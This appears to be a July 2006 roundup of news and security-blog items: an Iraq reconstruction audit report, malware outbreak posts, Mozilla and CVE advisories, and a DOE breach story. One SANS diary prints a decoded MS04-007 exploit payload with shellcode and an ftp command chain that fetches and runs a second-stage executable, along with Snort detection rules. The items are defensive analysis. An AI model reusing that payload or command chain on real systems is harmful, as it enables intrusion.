From the Los Angeles Times

THE CONFLICT IN IRAQ

U.S. Agency Hid Cost Overruns in Iraq, Audit Finds

The report says expenses in projects that exceeded budgets were concealed in unrelated accounts.

By Greg Miller
Times Staff Writer

July 30, 2006

WASHINGTON — The U.S. agency responsible for administering $1.4 billion in reconstruction funds in Iraq has sought to hide major cost overruns on high-profile projects from Congress by engaging in questionable accounting maneuvers, according to a federal audit released late Friday.

The agency has masked budget spillovers on a children's hospital in the southern city of Basra and other facilities by hiding the expenditures in seemingly unrelated accounts, the report from the Special Inspector General for Iraq Reconstruction says.

Overall, the report found a "lack of effective program management" by the State Department and the U.S. Agency for International Development, which oversees U.S. reconstruction spending in Iraq and other countries.

The accounting issues are the latest in a series of problems, including fraud allegations and the soaring costs of protecting work sites and crews from attacks, that have beset the massive rebuilding effort in Iraq.

The report focuses on cost overruns and construction delays at the children's hospital, whose advocates include First Lady Laura Bush and Secretary of State Condoleezza Rice. But the document also points to similar accounting irregularities on other projects, including a power station in Musayyib and an electricity project in Baghdad.

USAID has continued to list the hospital project's cost at $50 million in reports to Congress, even as its actual budget has ballooned to more than $149 million, the audit found. The discrepancy was disguised by spreading indirect costs associated with the project — such as security and transportation expenditures — to other accounts, according to the report.

As a result, "millions of dollars in indirect costs that should have been applied to the hospital project were applied to other USAID projects, resulting in a serious misstatement of hospital project costs," the report says. At the same time, a facility that was supposed to be finished in December is now scheduled for completion in July 2007.

A spokeswoman for USAID, an independent agency that receives overall foreign policy guidance from the State Department, could not be reached for comment.

State Department spokesman Justin Higgins said he could not comment on the contents of the report. "We have not yet had a chance to fully review this report but certainly will consider it carefully as we do all the findings of the inspector general," Higgins said.

"Despite the challenges, we are committed to completing this project so that sick children in Basra can receive the medical help they need," he said.

The lead contractor on the hospital had been Bechtel National, based in Frederick, Md. But the company was reportedly dropped from the project last week — a development first reported in the New York Times — after long-standing complaints about cost overruns and construction delays. Attempts to reach a representative of Bechtel were unsuccessful Saturday.

Cliff Mumm, a Bechtel official, was quoted in a New York Times article Friday as saying the company had essentially volunteered to bow out of the project and recommended that work be stopped because of security problems. Any plan to press ahead, Mumm said, "is not a good use of the government's money."

The inspector general's report says USAID officials went to the Iraq Reconstruction Management Office in March 2005 seeking permission to downsize a number of its projects and adjust its handling of overhead costs to "resolve its funding problems" largely stemming from escalating security expenses.

The U.S. Embassy's reconstruction office allowed the changes, but the report says that USAID wrongly interpreted the agreement as "blanket permission to change the reporting of all indirect costs."

Even as the budget for the hospital soared, USAID continued to conceal the overruns from Congress, according to the report. In a series of reports to lawmakers from January 2005 through April 2006, the agency identified the hospital project as a $50-million project," the inspector general found.

The latest estimates of the cost to complete the hospital range from $149.5 million to $169.5 million, according to the inspector general's report.

The report also questions the accounting of other reconstruction projects.

USAID documents obtained by the inspector general, for example, list direct costs for the Musayyib thermal power station at $6.6 million, and indirect costs at $27.6 million, a ratio wildly out of line with those on other projects, according to the report.

In a more typical case, budgets for an electricity project in Baghdad list direct costs of $164.3 million and indirect costs of $1.4 million — a surprisingly small sum in a country where the expense of securing work sites typically causes indirect costs to balloon.

The budget problems involving the Basra hospital are likely to add to the criticism that the project has faced since its inception in 2004, when the first lady worked with the National Security Council to push for funding for a state-of-the-art children's hospital in Iraq.

From the beginning, critics questioned the wisdom of building such a high-end facility in a country where many citizens lack basic healthcare. At the time, Sen. Patrick J. Leahy of Vermont, the ranking Democrat on the foreign operations subcommittee, questioned whether the project was "more the result of political pressure than the best use of taxpayer dollars."

U.S. Agency Hid Cost Overruns in Iraq, Audit Finds - Los Angeles Times.

Windows PowerShell: Be excited or be afraid?

Monday July 31, 2006 at 2:20 am CST
Posted by Vinoo Thomas

Microsoft products have always been an attractive target for hackers and malware authors. With every emergence of a new scripting platform from Microsoft, virus authors have taken advantages of the features of the new scripting language to create milestones in virus outbreak history. The W97M/Melissa outbreak in 1999 that took advantage of word macros and VBS/Loveletter that used the visual basic scripting language to wreak havoc in the year 2000 would go down infamously in history as the most successful script viruses.

Last week, a proof of concept virus “MSH/Cibyz” based on Windows PowerShell was released by members of the RRLF virus group. PowerShell is the new command line shell and scripting language for Microsoft Windows and is seen as a replacement for the default command interpreter shell. It runs on Windows XP, Windows Server 2003, Windows Vista and Windows Longhorn but does not come installed by default as of now.

MSH/Cibyz belongs to the plain old garden variety shell script virus and it uses the same infection methods that one could with any shell, not just the Windows PowerShell in particular. It cannot achieve memory residency nor possess rootkit capabilities, however malicious code written in Windows PowerShell can be modified to drop a Win32 executable on an infected system to achieve the above mentioned features.

Members of the RRLF group had previously released two proof of concept viruses in the past year targeting Microsoft Windows Vista. First was MSH/Danom a script virus written in Monad, the predecessor to Windows PowerShell and the other was W32/Usined alias MSIL/Idonus that used the Dot Net framework. Sadly these viruses can’t stake the claim to be Windows Vista viruses and are just Microsoft Shell viruses.

This doesn’t seem to deter virus authors working overtime to get their creations ready for Windows Vista and Longhorn to ensure they are in the news for all the wrong reasons.

With Windows PowerShell offering the functionality to do anything one can do from the graphical user interface, via a command line shell, it makes it an attractive platform for malware authors to write next generation viruses. Only time will tell…

Computer Security Research - McAfee Avert Labs Blog.

Friday, July 28, 2006

Two massmailings underway	Posted by Mikko @ 17:06 GMT

We've seen two separate spam runs with infected attachments tonight.

First one comes in an email with random header info and body text "Hi, Honey - My best photo ever!". This one contains a file called "dsc00342.jpg .exe" as an attachment. This one is detected by us as Trojan-Downloader.Win32.Small.cyy.

The second one comes in an email looking like this:

The link to all-yours.net is fake; instead the link points to an EXE file hosted at whitehat.cc.

The file is named "postalcard.jpg.exe" and is detected by us as Backdoor.IRC.Cloner.ae.

All-yours.net is a real greeting card site and has nothing to do with this case. Abuse messages have been sent about whitehat.cc domain.

.

F-Secure : News from the Lab - July of 2006.

MSRC Blog Entry about POC of MS06-035

Published: 2006-07-28,
Last Updated: 2006-07-28 23:05:44 UTC by Scott Fendley (Version: 1)

Good Friday evening all (for those in the western hemisphere).

Microsoft posted a blog entry this afernoon containing information about their assessment of  recent reports of a vulnerability which was not addressed in MS06-035.  It appears that the current proof of concept is limited to a denial of service attack and is not currently being observed as an attack vector.  Microsoft reports that they have not identified any possibilities that the issue could allow remote code execution.

We recommend that you assess your particular situation.   Blocking ports 135-139, 445 is already a best practice.  Whitelist IPs that may need these ports, but remember to limit your exposure from your road warrior/home office users.   We expect that Microsoft will release a patch on August 8 to address this current threat.

For more information, please see http://blogs.technet.com/msrc/archive/2006/07/28/443837.aspx.
---
Scott Fendley
ISC Handler

SANS - Internet Storm Center - Cooperative Cyber Threat Monitor And Alert System.

ASN.1 Attacks / MS04-007 (NEW)

Published: 2006-07-28,
Last Updated: 2006-07-28 11:59:05 UTC by Johannes Ullrich (Version: 1)

ASN.1 attacks are nothing new, neither is MS04-007. But they are still popular and I figure it may be interesting to look at a recent attack in a bit more detail and to show a couple tools to quickly figure out whats going on.

The traffic was collected at a development server of mine. It is connected to a cable modem via a firewall. The firewall logs every packet to/from the server which provides for nice detailed logs. I am only able to quote excerpts here as the packet is long/messy. In order to allow you to follow along, I made the packets of interest available here.

The packet of interest is the GET request:

GET / HTTP/1.0  
Host: 70.91.145.11  
Authorization: Negotiate YIIQeg...[long messy string]...RERE==

This particular authorization method is defined in RFC 4559, "SPNEGO-based Kerberos and NTLM HTTP Authentication in Microsoft Windows". The "long messy string" is the authentication token, and the web server should use it to authenticate the user. The RFC states that it is a "companion to the HTTP/1.1 specification", so the use of HTTP/1.0 is at least "odd" in the sample above.

MS04-007 details a vulnerability in Microsoft's ASN.1 parser. This parser is used by a number of subsystems in Windows, one of which is the decoding of these authentication tokens. The same vulnerability can be exploited via SMB or HTTP, using essentially the same exploit. In the HTTP case, the exploit has to be Base64 encoded. Only after decoding the token is it passed to the vulnerable ASN.1 parser. So lets look at the decode of the authentication token. To decode it, I used a little perl script:

use MIME::Base64;
print decode_base64("... long messy string... ==");

Sure, there are probably existing tools to decode this, but I try to limit the size of my tool box and tend to use these one liners for simple stuff like that.

Let's pipe the output of this script through "xxd" and we get:

0000000: 6082 107a 0606 2b06 0105 0502 a082 106e  `..z..+........n
0000010: 3082 106a a182 1066 2382 1062 0382 0401  0..j...f#..b....
0000020: 0041 4141 4141 4141 4141 4141 4141 4141  .AAAAAAAAAAAAAAA
0000030: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
... more 'AAAAA' ...
0000410: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000420: 4103 0023 820c 5703 8204 0a00 9042 9042  A..#..W......B.B
0000430: 9042 9042 81c4 54f2 ffff fce8 4600 0000  .B.B..T.....F...
0000440: 8b45 3c8b 7c05 7801 ef8b 4f18 8b5f 2001  .E<.|.x...O.._ .
0000450: ebe3 2e49 8b34 8b01 ee31 c099 ac84 c074  ...I.4...1.....t
0000460: 07c1 ca0d 01c2 ebf4 3b54 2404 75e3 8b5f  ........;T$.u.._
0000470: 2401 eb66 8b0c 4b8b 5f1c 01eb 8b1c 8b01  $..f..K._.......
0000480: eb89 5c24 04c3 31c0 648b 4030 85c0 780f  ..\$..1.d.@0..x.
0000490: 8b40 0c8b 701c ad8b 6808 e90b 0000 008b  .@..p...h.......
00004a0: 4034 057c 0000 008b 683c 5f31 f660 56eb  @4.|....h<_1.`V.
00004b0: 0d68 efce e060 6898 fe8a 0e57 ffe7 e8ee  .h...`h....W....
00004c0: ffff ff63 6d64 202f 6b20 6563 686f 206f  ...cmd /k echo o
00004d0: 7065 6e20 302e 302e 302e 3020 3234 3730  pen 0.0.0.0 2470
00004e0: 3620 3e20 6f26 6563 686f 2075 7365 7220  6 > o&echo user
00004f0: 3120 3120 3e3e 206f 2026 6563 686f 2067  1 1 >> o &echo g
0000500: 6574 2055 7064 6174 6572 2e65 7865 203e  et Updater.exe >
0000510: 3e20 6f20 2665 6368 6f20 7175 6974 203e  > o &echo quit >
0000520: 3e20 6f20 2666 7470 202d 6e20 2d73 3a6f  > o &ftp -n -s:o
0000530: 2026 6465 6c20 2f46 202f 5120 6f20 2655   &del /F /Q o &U
0000540: 7064 6174 6572 2e65 7865 0d0a 0042 4242  pdater.exe...BBB
0000550: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
... more 'BBBBBB' ...

Nice! We got the payload of the exploit nicely decoded without haveing to speak too much opcode. Essentially the exploit attempts to run 'ftp' on my system to pull a second stage from the infecting host. The IP address is not obfuscated here. I assume whoever wrote this particular bot messed up coding the source IP and ended up with 0.0.0.0. And ftp server was listening on port 24706 at the attacking host. But it appeared to be too busy to let me download 'Updater.exe'. The attacking host was notified and has been cleaned.

Now in this case, the target was an Apache web server. The corresponding access and error logs from this attacks are:

Error Log:
 [error] [client a.b.77.83] client used wrong authentication scheme: /

Access Log:
  "GET / HTTP/1.0" 401 127 "-" "-"

The current snort ruleset uses this rule to detect MS04-007 over http:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 
  (msg:"WEB-IIS NTLM ASN.1 vulnerability scan attempt"; flow:to_server,established; 
  content:"Authorization|3A| Negotiate YIQAAABiBoMAAAYrBgEFBQKgggBTMIFQoA4wDAYKKwYBBAGCNwICCqM"; 
  reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818; 
  reference:nessus,12052; reference:nessus,12055; reference:nessus,12065; 
  reference:url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx; 
  classtype:attempted-dos; sid:2386; rev:10;)

Note that this rule would not detect the particular version of the exploit shown here. If you run the packet capture posted above through snort, you will get however one alert from the http_inspect preprocessor:

[**] [119:15:1] (http_inspect) OVERSIZE REQUEST-URI DIRECTORY [**]
07/24-20:55:13.549206 a.b.77.83:2677 -> a.b.145.11:80
TCP TTL:112 TOS:0x20 ID:35513 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x31BB3658  Ack: 0xAD36B5D8  Win: 0xFFFF  TcpLen: 20

(note that you have to use the '-k none' switch to ignore bad checksums).

A better rule may be:

content:"Authorization|3A|"; content: "Negotiate"; \
content: !"0a"; within: 100; 

Which would just look for overly long 'Authorization: Negotiate' lines. I split up the 'Authorization: Negotiate' string to allow for various spaces and such. "nocase"

SANS - Internet Storm Center - Cooperative Cyber Threat Monitor And Alert System.

Browser *does* matter, not only for vulnerabilities - a story on JavaScript deobfuscation (NEW)

Published: 2006-07-28,
Last Updated: 2006-07-28 11:15:47 UTC by Bojan Zdrnja (Version: 1)

Reader Gilbert sent us a link to a site that caused couple of alerts with his anti-virus program. Initially this looked like a typical web site hosting malware, but it turned out to be much more.

The HTML document was absolutely standard, except for one iframe which was, of course, hidden. This raised our eyebrows and we started following what turned out to be an interesting obfuscation.

Before we start with this we should stress out that, if you decide to do something similar, it is always recommended that you do this on an isolated machine – virtual machines are ideal candidates for playing with malware of this type.

First Layer

The iframe pointed to a JavaScript file which used (today) more or less standard obfuscation: a function was defined with various permutations and it was called with a document.write at the end.
The obfuscation typically looks like this:

function dc(x){var l=x.length, …
…. Various permutations …
document.write(r)}}

dc(a_HDcBY@icbCvFIEjg ... long ASCII string ...);

As you can see, the dc() function is called with the encoded string, and document.write() is called at the end. This results in another JavaScript which is executed immediately after it's decoded by the document.write() call.
Decoding this JavaScript is typically pretty easy and there are numerous ways of doing it. The easiest way of what's going is just to replace the document.write() call with the alert() call – this will cause your browser to print the whole new code in an alert popup.
If you want to be more creative, you can add code which will replace all < or > characters to something else – this will cause your browser not to parse it as JavaScript.

Another nice trick is to add document.write("<textarea rows=100 cols=100>"); as first line after the script tag and document.write("</textarea>"); as last line. The decoded javascript will now show up nicely inside the text area which can be copy&pasted easy. Thanks to Tom and Johannes for this trick.

Second layer

So, once the first step was decoded we were greeted with another obfuscated code. This code looked similar to the previous one (but boy, we were wrong with that). This time the (de-)obfuscation function didn't end with a document.write() call, but with an eval() call. The eval() call evaluates a string and executes it as if it was script code. In other words, when obfuscating code, the eval() call is typically used to call some part of the existing code again.

This part is what caused us the most problems, and here's why. So, the deobfuscating code looks like this (non interesting parts have been removed):

function r(lI,t) {
…
for(var sa=0;sa<lI.length;sa+=arguments.callee.toString().length-444)
{
…
Various permutations;
}
eval(ii);
};
r('string');

So again, the function r() is called with a long ASCII string. There is a for loop which does various permutations and then an eval() is called. So, the first step we did here was to replace eval(ii) with alert(ii). That was easy enough but a surprise was waiting for us – when we executed that we just got some binary output. Hmm, that can't be right.

After studying the permutation for loop a bit (permutations itself aren't interesting for us) we saw something interesting in the for loop definition itself. You can see that the sa variable is being increased in every step by something weird: sa+=arguments.callee.toString().length.

We never saw this before and (not being JavaScript experts) went to see what arguments.callee actually is. After some search, we found couple of references, like this one on Mozilla's web site: http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Reference:Objects:Function:arguments:callee.

Now the whole night became very very interesting. Arguments.callee specifies the function body of the currently executing function! So this code actually uses itself to do the permutation – if you change something in the code (like we did when we replaced the eval() call with alert()) you will break the whole deobfuscation part!

Firefox is not IE and vice versa

But, this is not the end of the story. In this case, the sa variable is being increased by the value which is calculated from the function string length (arguments.callee.toString().length returns the number which is the length of the whole function in characters) decreased by 444.
So, if when replaced eval() with alert(), we added 1 character to the function length, so we had to increase this number to 445. Easy – we changed that and started this in Mozilla and it didn't work again!

Two hours later (fast forward for you) we found a very interesting thing: Mozilla Firefox and Internet Explorer don't return same values when arguments.callee.toString().length is called on a function!
This is easy to test if you want – just create the following HTML file:

<html>
<head>
    <script type="text/javascript">
    <!--

    function func(){var l = arguments.callee.toString().length;alert(l);}

    func();
    //-->
    </script>
</head>
</html>

This JavaScript creates a function called func and then displays content of the variable "l" – the content will be whatever the call arguments.callee.toString().length return.
On our test machine, when this JavaScript is executed in Mozilla Firefox we get 81, while in Internet Explorer we get 69.
Why this is happening is another story, so lets get back to our deobfuscation.

A recursive call

Knowing this we now know that our alert() call with increased number (444 to 445) was actually ok, but we have to execute this from Internet Explorer, or we have to calculate new numbers for Mozilla.
We decided to use Internet Explorer (in a virtual machine, of course) and voila – we got the eval() call content: it was another call to the r() function. Knowing how the r() function works, all we had to do was call it again and we got another obfuscated JavaScript (this is 4th step already).

This time, our job was easier. This part just consisted of an unescape() call. The unescape call basically has ASCII characters which are just shown as values. You can even "crack" this manually, but it is easier if you just assign this call to another variable and then display that with another alert() call.

After the unescape() call we were greeted with another obfuscation routine, which was simple this time – it was actually very similar to the routine used in the first step, so all written above applied to this step as well.

The final result

And we finally arrived to the end of the whole (we caught the white rabbit). The final result was a bit disappointing at first – it was another iframe to a PHP file.

That PHP file is exploit for MS06-014, RDS.Datastore data execution which dropped a downloader on the victim's machine. The downloader in turn downloaded second stage, which was a keylogger called Trojan.Anserin.

The dropped malware was more or less typical, but this was indeed a very interesting investigation, which taught us some new things about obfuscation which we haven't seen before.

Thanks to fellow handlers Arrigo and Swa for help with the analysis.

SANS - Internet Storm Center - Cooperative Cyber Threat Monitor And Alert System.

Security patches for Mozilla Firefox/Thunderbird/SeaMonkey

Published: 2006-07-26,
Last Updated: 2006-07-26 23:37:47 UTC by Bojan Zdrnja (Version: 1)

The Mozilla Foundation released new versions of Firefox, Thunderbird and SeaMonkey products.

New versions fix numerous security vulnerabilities, of which some are rated critical. Here's a short overview of the vulnerabilities that have been fixed:

MFSA 2006-44 (http://www.mozilla.org/security/announce/2006/mfsa2006-44.html): Code execution through deleted frame reference.
This vulnerability allows remote execution and affects only Firefox 1.5 and SeaMonkey 1.0. As Thunderbird uses the same browser engine as Firefox it is vulnerable to this as well, but the JavaScript parsing function in e-mails is not turned on by default (and we recommend that it stays turned off).

MFSA 2006-45 (http://www.mozilla.org/security/announce/2006/mfsa2006-45.html): Javascript navigator Object Vulnerability.
Another remote execution vulnerability, affects Firefox 1.5 and SeaMonkey.

MFSA 2006-46 (http://www.mozilla.org/security/announce/2006/mfsa2006-46.html): Memory corruption with simultaneous events.
Remote execution vulnerability, affects Firefox and SeaMonkey.

MFSA 2006-47 (http://www.mozilla.org/security/announce/2006/mfsa2006-47.html): Native DOM methods can be hijacked across domains.
Information leaking vulnerability, can be combined with XSS, although limited. Affects Firefox and SeaMonkey.

MFSA 2006-48 (http://www.mozilla.org/security/announce/2006/mfsa2006-48.html): JavaScript new Function race condition.
Remote execution vulnerability, affects Firefox, Thunderbird and SeaMonkey.

MFSA 2006-49 (http://www.mozilla.org/security/announce/2006/mfsa2006-49.html): Heap buffer overwrite on malformed vCard, affects Thunderbird and SeaMonkey.

MFSA 2006-50 (http://www.mozilla.org/security/announce/2006/mfsa2006-50.html): JavaScript engine vulnerabilities
Multiple vulnerabilities which can lead to remote execution, affect Firefox, Thunderbird and SeaMonkey.

MFSA 2006-51 (http://www.mozilla.org/security/announce/2006/mfsa2006-51.html): Privilege escalation using named-functions and redefined "new Object()".
Remote execution vulnerability, affects Firefox, Thunderbird, SeaMonkey.

MFSA 2006-52 (http://www.mozilla.org/security/announce/2006/mfsa2006-52.html): PAC privilege escalation using Function.prototype.call
Remote script execution vulnerability through a "poisoned" PAC file. Affects Firefox and SeaMonkey.

MFSA 2006-53 (http://www.mozilla.org/security/announce/2006/mfsa2006-53.html): UniversalBrowserRead privilege escalation.
Remote script execution vulnerability, affects Firefox, Thunderbird and SeaMonkey.

MFSA 2006-54 (http://www.mozilla.org/security/announce/2006/mfsa2006-54.html): XSS with XPCNativeWrapper(window).Function(…).
XSS vulnerability using the XPCNativeWrapper construct. Affects Firefox, Thunderbird and SeaMonkey.

MFSA 2006-55 (http://www.mozilla.org/security/announce/2006/mfsa2006-55.html): Crashes with evidence of memory corruption (rv:1.8.0.5).
Probably just a DoS attack, but there is a possibility that it could be turned into a remote execution vulnerability. Affects Firefox, Thunderbird and SeaMonkey.

MFSA 2006-56 (http://www.mozilla.org/security/announce/2006/mfsa2006-56.html): chrome: scheme loading remote content
Remote script execution vulnerability that affects Firefox and SeaMonkey.


As some of these vulnerabilities are critical, it would be good if you can upgrade as soon as possible; otherwise, check for potential workarounds in the original advisories - in most cases the vulnerabilities are JavaScript related, so turning off JavaScript will help (and that goes in general).

SANS - Internet Storm Center - Cooperative Cyber Threat Monitor And Alert System.

Cisco IKE Resource Exhaustion Attack (NEW)

Published: 2006-07-27,
Last Updated: 2006-07-27 12:44:05 UTC by Chris Carboni (Version: 1)

Fred sent us a note after recieving e-mail from Cisco.

""The attack against the Internet Key Exchange (IKE) protocol described in the NTA Monitor advisory exploits the stateless nature of the IKE version 1 protocol. The goal of such an attack is to deplete the resources available on a device to negotiate IKE security associations, and block legitimate users from establishing a new security association.""

Cisco states "This vulnerability is not related to a specific vendor implementation, but to underlying issues in the IKE protocol, and may affect any device which implements IKE version"

There is a workaround available for IOS, but not for any other Cisco products.

Cisco's full response can be found here.

Check with your vendor for other systems you have that use IKE version 1.

SANS - Internet Storm Center - Cooperative Cyber Threat Monitor And Alert System.

Spying Gecko

Tuesday July 25, 2006 at 3:32 am CST
Posted by Geok Meng Ong

There had been several instances of the FormSpy trojan being discovered in the wild today. Its installer was heuristically detected as New Malware.ag (now Downloader-AXM).

Upon successful execution, FormSpy hooks mouse and keyboard events in the Mozilla Firefox web browser. It can then forwards information such as credit card numbers, passwords and URLs typed in the browser to a malicious website hosted at IP address 81.95.xx.xx.

Typically, Mozilla Firefox components are installed via .xpi files where users are prompted to confirm the installation. FormSpy writes and modifies Mozilla configuration files directly which bypasses this confirmation process.

When Mozilla Firefox became a popular alternative to Internet Explorer, it was only a matter of time that spyware and trojan authors start writing malicious code in the form of Mozilla Firefox components. Mozilla Firefox users should exercise caution in downloading and installing unsigned extension components from unreliable sources.

Computer Security Research - McAfee Avert Labs Blog.

There They Go Again - Backdoor.Haxdoor.O

Email is a great way to communicate with a wide audience, and the bad guys know it. We have seen yet another case of spam email that contains malicious code as an attachment. The attachment is a ZIP file (WC2905036.zip -> WC2905036.exe) that contains a Trojan horse program that will create a backdoor on a user's system when executed. This threat is detected as Backdoor.Haxdoor.O. Some variants may be detected as Backdoor.Haxdoor.I.

This Trojan attempts several things: downloads and executes files, logs keystrokes, listens on TCP ports, etc. We have only seen a few minor variants thus far, but one thing to be aware of is that the spam email purports to be from an online retailer that is asking the user to review an attached invoice. We have seen two versions of the email so far, and two different versions of the file attached to the email. It may be that the sender plans on using multiple versions of the spam in an attempt to bypass scanners. This may be originating from a Russian source, based on similarities to previous versions of Backdoor.Haxdoor. However, this is speculation at this point. The email text shows signs of being composed by a non-native English speaker.

Normally Symantec wouldn’t issue an outbreak blog about a Category 1 backdoor threat, but we have received a number of inquiries about this and our submission rate of this threat is higher than normal. In addition, the spam email claims to be coming from legitimate online retailers, so we’re watching this one very closely. As a precaution, we will be publishing updated virus definitions to detect these variants.

When it comes to electronic safety, discretion is the better part of valor:
• Rule #1: Always keep your virus detection signatures up to date. (Norton AntiVirus and Symantec AntiVirus automatically update themselves with the latest signatures.)
• Rule #2: Be wary of unexpected emails with attachments, especially from people you don't know. Most attackers use ZIP files or program files (for example, .exe, .scr, .pif) as the attachment type, so be especially careful of these.
• Rule #3: Better safe than sorry. If you aren't completely sure about the attachment, put it in quarantine immediately, and submit it to Security Response.

Taking steps like the ones listed above will go a long way towards keeping you safe on the Internet. We have seen hundreds of social engineering attacks over the years, and we will probably continue to see them. Why? Because unfortunately, they often work.

Posted by Security Response Alert on July 24, 2006 06:00 PM

Symantec Security Response Weblog: There They Go Again - Backdoor.Haxdoor.O.

Vulnerability Summary CVE-2006-3778

Original release date: 7/24/2006
Source: US-CERT/NIST 

This vulnerability is currently undergoing analysis and not all information is available.

Please check back soon to view the completed vulnerability summary.

Overview

IBM Lotus Notes 6.0, 6.5, and 7.0 does not properly handle replies to e-mail messages with alternate name users when the (1) "Save As Draft" option is used or (2) a "," (comma) is inside the "phrase" portion of an address, which can cause the e-mail to be sent to users that were deleted from the To, CC, and BCC fields, which allows remote attackers to obtain the list of original recipients.

References to Advisories, Solutions, and Tools

External Source: (disclaimer)

Hyperlink: http://www-1.ibm.com/support/docview.wss?rs=899&uid=swg21240386

 

External Source:  SECTRACK (disclaimer)

Name: 1016516

Hyperlink: http://securitytracker.com/id?1016516

 

External Source:  SECUNIA (disclaimer)

Name: 21096

Hyperlink: http://secunia.com/advisories/21096

 

Technical Details

CVE Standard Vulnerability Entry:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3778

National Vulnerability Database (CVE-2006-3778).

Vulnerability Summary CVE-2006-3779

Original release date: 7/24/2006
Source: US-CERT/NIST 

This vulnerability is currently undergoing analysis and not all information is available.
Please check back soon to view the completed vulnerability summary.

 Overview

Citrix MetaFrame up to XP 1.0 Feature 1, except when running on Windows Server 2003, installs a registry key with an insecure ACL, which allows remote authenticated users to gain privileges.

References to Advisories, Solutions, and Tools

External Source:  BID (disclaimer)

Name: 19056

Hyperlink: http://www.securityfocus.com/bid/19056

 

External Source:  FRSIRT (disclaimer)

Name: ADV-2006-2862

Hyperlink: http://www.frsirt.com/english/advisories/2006/2862

 

External Source: (disclaimer)

Hyperlink: http://support.citrix.com/article/CTX110492

 

External Source:  SECTRACK (disclaimer)

Name: 1016526

Hyperlink: http://securitytracker.com/id?1016526

 

External Source:  SECUNIA (disclaimer)

Name: 21076

Hyperlink: http://secunia.com/advisories/21076

 

Technical Details

CVE Standard Vulnerability Entry:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3779

National Vulnerability Database (CVE-2006-3779).

new Haxdoor (NEW)

Published: 2006-07-24,
Last Updated: 2006-07-24 14:53:45 UTC by donald smith (Version: 1)

We received several notifications of an email being spoofed from ecost. It is being used to "socially engineer" or trick people into installing a new version of Haxdoor.

This virus was largely undetected by most of the commercial antivirus vendors yesterday. We have submitted samples to most of the commercial antivirus vendors. They are responding rapidly and in many cases they are able to detect it now.

Antivirus Version Update Result
AntiVir 6.35.0.24 07.23.2006 no virus found
Authentium 4.93.8 07.21.2006 no virus found
Avast 4.7.844.0 07.23.2006 no virus found
AVG 386 07.21.2006 no virus found
BitDefender 7.2 07.22.2006 BehavesLike:Trojan.WinlogonHook
CAT-QuickHeal 8.00 07.22.2006 (Suspicious) - DNAScan
ClamAV devel-20060426 07.21.2006 no virus found
DrWeb 4.33 07.23.2006 no virus found
eTrust-InoculateIT 23.72.76 07.23.2006 no virus found
eTrust-Vet 12.6.2305 07.21.2006 Win32/Haxdoor!generic
Ewido 4.0 07.23.2006 no virus found
Fortinet 2.77.0.0 07.23.2006 suspicious
F-Prot 3.16f 07.21.2006 no virus found
F-Prot4 4.2.1.29 07.21.2006 no virus found
Ikarus 0.2.65.0 07.23.2006 no virus found
Kaspersky 4.0.2.24 07.24.2006 no virus found
McAfee 4812 07.21.2006 no virus found
Microsoft 1.1508 07.24.2006 no virus found
NOD32v2 1.1675 07.23.2006 no virus found
Norman 5.90.23 07.21.2006 no virus found
Panda 9.0.0.4 07.23.2006 Suspicious file
Sophos 4.07.0 07.23.2006 no virus found
Symantec 8.0 07.24.2006 no virus found
TheHacker 5.9.8.180 07.24.2006 no virus found
UNA 1.83 07.21.2006 no virus found
VBA32 3.11.0 07.24.2006 no virus found
VirusBuster 4.3.7:9 07.23.2006 Trojan.DR.Haxdoor.Gen.4
 

---- Text from original message -----
Dear Sir/Madam,

Thank you for shopping with our internet shop. Your order, WC2905036, has been received. Summary of your order you can see in the attachment file.

This email is to confirm the receipt of your order. Please do not reply as this email was sent from our automated confirmation system.

Please Note: There is no need to re-send your request or call our
customer service department for status or tracking number, this will
only delay our response time to you. Rest assured, we are making every
effort to process and ship your order within 1 to 2 business days. We
appreciate your understanding and patience and do value your business. 

Once your order has been processed and shipped a FEDEX Tracking number
will be automatically emailed to the address provided.

Please Note: Tracking information will be available in FedEx's system
only after 10pm EST Monday thru Friday. If you receive a tracking
number on Sunday, you will be able to track it Monday evening after
10pm EST.
All orders placed including 1-2 or 2-3 business day options are
shipped within 48 hours providing the merchandise is in stock.

All FedEx Ground orders will take 7-10 business days to arrive.
Some packages may require a signature upon delivery. These packages
will not be left without a signature. For your convenience, we will
email you a FedEx tracking number on all successfully processed and
shipped orders.
All Plasma TVs, DVD players, Scanners, Fax Machines, Receivers, Home
Theater, and Printers are not returnable after box is opened.

To insure the best handling of your order please allow 24-48 business
hours for the processing and the shipping of your order. Thank you for
your cooperation.

We hope you enjoy your order!  Thank you for shopping with us!
----- End text from message -----

SANS - Internet Storm Center - Cooperative Cyber Threat Monitor And Alert System.

Official reprimanded in DOE hacker case

By H. JOSEF HEBERT, Associated Press WriterThu Jul 20, 10:45 PM ET

Energy Secretary Samuel Bodman has reprimanded a senior official because 1,502 nuclear weapons workers were not told for nearly 10 months that their Social Security numbers and other information had been stolen by a computer hacker.

The action came as the department's inspector general blamed a breakdown in communications and poor management judgment for the failures to properly respond to the theft.

The IG report also said there was a "lengthy delay in the department's assessment of the impact" of the improper penetration of the National Nuclear Security Administration's computers at a service center in Albuquerque, N.M., last September.

The incident was not made public, nor were the individuals whose information had been compromised informed, until June.

"These employees were not well served this department," said Bodman, who apologized to them.

The senior official who was reprimanded was not identified.

NNSA Administrator Linton Brooks, who was interviewed extensively by the IG investigators and named in the report, has acknowledged that he learned of the computer file theft last September but did not tell his superiors at the DOE.

The IG report said Brooks, a former ambassador and nuclear arms negotiator, "took full responsibility" for the failure to inform Bodman and his deputy about the theft and acknowledged that he was the most senior official responsible for not following up to ensure the workers were notified of the theft.

The IG investigators identified seven other senior officials "who shared some level of responsibility for the way in which the matter was handled," said a summary of the report.

Bodman said there may be further disciplinary action, but he added that with the changes he has ordered — based on the IG's recommendations — "the department is putting this incident behind it and moving forward."

The NNSA is a semiautonomous agency within the department and oversees the nuclear weapons programs. The workers whose information was compromised worked for contractors at NNSA facilities around the country.

